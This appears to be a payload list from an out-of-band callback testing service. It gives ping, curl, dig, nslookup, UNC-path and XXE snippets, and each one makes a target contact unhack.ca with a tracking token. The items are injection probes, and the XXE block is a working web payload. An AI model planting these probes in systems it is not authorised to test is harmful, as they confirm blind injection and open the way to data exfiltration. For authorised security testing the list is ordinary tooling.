$ ping -c1 -p 00644ad6726bf84b3bf0f2860ee3f600 unhack.ca
 

$ curl http://unhack.ca/p/644ad6726bf84b3bf0f2860ee3f6
 

$ dig 644ad6726bf84b3bf0f2860ee3f6 @unhack.ca
 

$ dig 644ad6726bf84b3bf0f2860ee3f6.ns.unhack.ca
 

C:\> nslookup 644ad6726bf84b3bf0f2860ee3f6 unhack.ca
 

C:\> type \\unhack.ca\644ad6726bf84b3bf0f2860ee3f6\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/644ad6726bf84b3bf0f2860ee3f6">]>
    <foo>&xxe;</foo>